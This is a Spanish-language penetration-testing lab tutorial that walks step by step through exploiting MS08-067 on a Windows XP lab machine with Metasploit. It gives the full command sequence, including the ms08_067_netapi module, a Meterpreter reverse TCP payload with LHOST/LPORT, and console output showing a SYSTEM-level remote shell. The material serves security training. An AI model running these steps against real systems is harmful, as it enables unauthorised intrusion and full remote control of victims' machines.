Explotar MS08-067 en un objetivo de Windows XP con Metasploit

Kali LinuxBeginner
Practicar Ahora

Introducción

En este laboratorio, aprenderá a utilizar Metasploit Framework para explotar una de las vulnerabilidades más conocidas de Windows, MS08-067. Esta vulnerabilidad existe en el Servicio de Servidor (Server Service) en sistemas Windows y puede permitir la ejecución remota de código.

Utilizará Metasploit, una potente herramienta de pruebas de penetración, para seleccionar, configurar y lanzar un exploit contra una máquina Windows XP objetivo. Al final de este laboratorio, habrá obtenido una sesión de Meterpreter en el objetivo, lo que le dará control remoto.

Para este laboratorio, el entorno está preconfigurado con dos máquinas:

  • Su máquina atacante (esta VM de Ubuntu), con la dirección IP 192.168.1.100.
  • Una máquina objetivo vulnerable con Windows XP, con la dirección IP 192.168.1.101.

Realizará todas las acciones desde la terminal en su máquina atacante.

Seleccionar el módulo de exploit ms08_067_netapi

En este paso, iniciará la consola de Metasploit y seleccionará el módulo de exploit apropiado para la vulnerabilidad MS08-067.

Primero, abra una terminal. Todos los comandos se ejecutarán aquí. Metasploit Framework viene con una interfaz de línea de comandos llamada msfconsole. Vamos a iniciarla con la bandera -q (quiet) para suprimir el banner.

msfconsole -q

Una vez que se cargue, verá el prompt de Metasploit, que se ve como msf6 >. Ahora, puede buscar el módulo de exploit relacionado con ms08-067.

search ms08-067

Verá una lista de módulos coincidentes. El que nos interesa es exploit/windows/smb/ms08_067_netapi.

Matching Modules
================

   ##  Name                                 Disclosure Date  Rank       Check  Description
   -  ----                                 ---------------  ----       -----  -----------
   0  exploit/windows/smb/ms08_067_netapi  2008-10-28       great      Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption

Para utilizar este exploit, escriba el comando use seguido del nombre del módulo.

use exploit/windows/smb/ms08_067_netapi

Su prompt cambiará para indicar que ahora se encuentra dentro del contexto de este módulo de exploit específico.

msf6 exploit(windows/smb/ms08_067_netapi) >

Establecer la opción RHOSTS al objetivo de Windows XP

En este paso, configurará el módulo de exploit estableciendo la dirección IP del objetivo. La mayoría de los exploits necesitan saber a quién atacar. En Metasploit, la dirección del objetivo se establece utilizando la opción RHOSTS (Remote Hosts).

Primero, veamos las opciones disponibles para este exploit utilizando el comando show options.

show options

Verá una tabla de opciones que puede configurar. Observe que RHOSTS es requerido pero aún no está establecido.

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    445              yes       The target port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

...

Ahora, establezca la opción RHOSTS a la dirección IP de nuestro objetivo de Windows XP, que es 192.168.1.101.

set RHOSTS 192.168.1.101

Metasploit confirmará el cambio.

RHOSTS => 192.168.1.101

Ahora le ha indicado a Metasploit qué máquina debe ser el objetivo.

Seleccionar un payload de reverse TCP como windows/meterpreter/reverse_tcp

En este paso, seleccionará un payload que se entregará al sistema objetivo después de un exploit exitoso. Un payload es el código que se ejecutará en la máquina objetivo. Utilizaremos Meterpreter, que es un payload potente y flexible que proporciona una shell interactiva.

El payload windows/meterpreter/reverse_tcp forzará a la máquina objetivo comprometida a conectarse de vuelta a usted (el atacante). Esto suele ser más exitoso en escenarios del mundo real donde los firewalls pueden bloquear conexiones directas al objetivo.

Para establecer el payload, use el comando set payload.

set payload windows/meterpreter/reverse_tcp

Metasploit confirmará que el payload ha sido establecido.

payload => windows/meterpreter/reverse_tcp

Ahora que se ha seleccionado el payload, deberá configurar sus opciones en el siguiente paso.

Establecer las opciones del payload LHOST y LPORT

Ahora que ha seleccionado un payload inverso, necesita configurarlo para que se conecte de vuelta a su máquina. Esto requiere establecer dos opciones principales: LHOST y LPORT.

  • LHOST (Local Host): Esta es la dirección IP de su máquina atacante, a la que el payload debe conectarse de vuelta.
  • LPORT (Local Port): Este es el puerto en su máquina que escuchará la conexión entrante desde el objetivo.

Como se mencionó en la introducción, la IP de su máquina atacante es 192.168.1.100. Establezcamos LHOST a este valor.

set LHOST 192.168.1.100

Verá una confirmación:

LHOST => 192.168.1.100

A continuación, establezcamos el puerto de escucha. Una opción común es 4444.

set LPORT 4444

De nuevo, verá una confirmación:

LPORT => 4444

Puede ejecutar show options nuevamente para verificar que todas las opciones requeridas (RHOSTS, LHOST, LPORT) ahora están configuradas correctamente.

Ejecutar el exploit y obtener una sesión de Meterpreter

Con todas las opciones configuradas, ahora está listo para lanzar el exploit. Este es el paso final donde intentará comprometer el sistema objetivo.

Para lanzar el ataque, simplemente use el comando exploit.

exploit

Metasploit intentará explotar la vulnerabilidad. Si tiene éxito, verá una salida similar a la siguiente. Detectará automáticamente el sistema operativo del objetivo, enviará el exploit y luego el payload.

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.1.101:445 - Automatically detecting the target...
[*] 192.168.1.101:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.101:445 - Selected Target: Windows XP SP3 English (AlwaysOn)
[*] 192.168.1.101:445 - Attempting to trigger the vulnerability...
[*] Sending stage (179779 bytes) to 192.168.1.101
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.101:1035) at 2023-10-27 10:30:00 -0400

meterpreter >

Observe la última línea: Meterpreter session 1 opened. Su prompt de comandos ha cambiado a meterpreter >. Esto significa que ha comprometido con éxito el objetivo y tiene una sesión activa.

Para verificar su acceso, ejecute un comando como getuid para ver con qué usuario está ejecutando en el sistema objetivo.

getuid

La salida mostrará que tiene el nivel más alto de privilegios.

Server username: NT AUTHORITY\SYSTEM

¡Felicitaciones, ha explotado con éxito MS08-067!

Resumen

En este laboratorio, utilizó con éxito el Metasploit Framework para explotar la vulnerabilidad MS08-067 en un objetivo de Windows XP.

Siguió el flujo de trabajo fundamental de una prueba de penetración:

  1. Seleccionó un módulo de exploit específico (exploit/windows/smb/ms08_067_netapi).
  2. Configuró el exploit estableciendo la dirección del objetivo (RHOSTS).
  3. Eligió un payload (windows/meterpreter/reverse_tcp) para obtener control.
  4. Configuró el payload con su host y puerto local (LHOST, LPORT).
  5. Lanzó el exploit y obtuvo una sesión de Meterpreter con altos privilegios en el objetivo.

Este ejercicio demuestra el poder y la simplicidad de usar un framework como Metasploit para probar y explotar vulnerabilidades del sistema.